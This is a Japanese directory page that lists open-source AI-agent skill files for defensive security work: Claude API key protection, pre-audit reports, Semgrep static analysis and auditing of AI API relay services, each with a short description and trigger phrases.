anth-security-basics

Anthropic Claude APIのセキュリティベストプラクティスを適用し、キー管理、入力値の検証、プロンプトインジェクション対策を実施します。APIキーの保護、Claudeに送信する前のユーザー入力検証、コンテンツセーフティガードレールの実装が必要な場合に活用できます。「anthropic security」「claude api key security」「secure anthropic」「prompt injection defense」といったフレーズでトリガーされます。

by jeremylongshore
汎用セキュリティ⭐ リポ 699

x-ray

x-ray.mdプレ監査レポートを生成します。概要、強化された脅威モデル(プロトコルタイプのプロファイリング、Gitの重み付け攻撃面分析、時間軸リスク分析、コンポーザビリティ依存関係マッピング)、不変条件、統合、ドキュメント品質、テスト分析、開発者・Gitの履歴をカバーしています。「x-ray」「audit readiness」「readiness report」「pre-audit report」「prep this protocol」「protocol prep」「summarize this protocol」のキーワードで実行されます。

by pashov
汎用セキュリティ⭐ リポ 677

semgrep

Semgrepスタティック分析スキャンを実行し、カスタム検出ルールを作成します。Semgrepでのコードスキャン、セキュリティ脆弱性の検出、カスタムYAMLルールの作成、または特定のバグパターンの検出が必要な場合に使用します。重要:ユーザーが「バグをスキャンしたい」「コード品質を確認したい」「脆弱性を見つけたい」「スタティック分析」「セキュリティlint」「コード監査」または「コーディング標準を適用したい」と尋ねた場合も、Semgrepという名称を明記していなくても、このスキルを使用してください。Semgrepは30以上の言語に対応したパターンベースのコードスキャンに最適なツールです。

by wimpysworld
汎用セキュリティ⭐ リポ 404

api-relay-audit

サードパーティのAI API リレー/プロキシサービスのセキュリティリスクを監査します。プロンプトインジェクション、プロンプト漏洩、命令オーバーライド、なりすまし攻撃(中国市場向け代替品)、ジェイルブレイク脆弱性、コンテキスト切り詰め、ツールコール パッケージ置換(AC-1.a)、エラーレスポンスヘッダー漏洩(AC-2隣接)、SSEレベルのストリーム整合性異常(AC-1ストリーミング)、Web3プロンプトインジェクション(SlowMist署名分離)を検出できます。リレーテスト、API監査、リレー監査、インジェクション検出、リレーセキュリティ、APIリレー監査などの用途で活用してください。

by toby-bridges
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT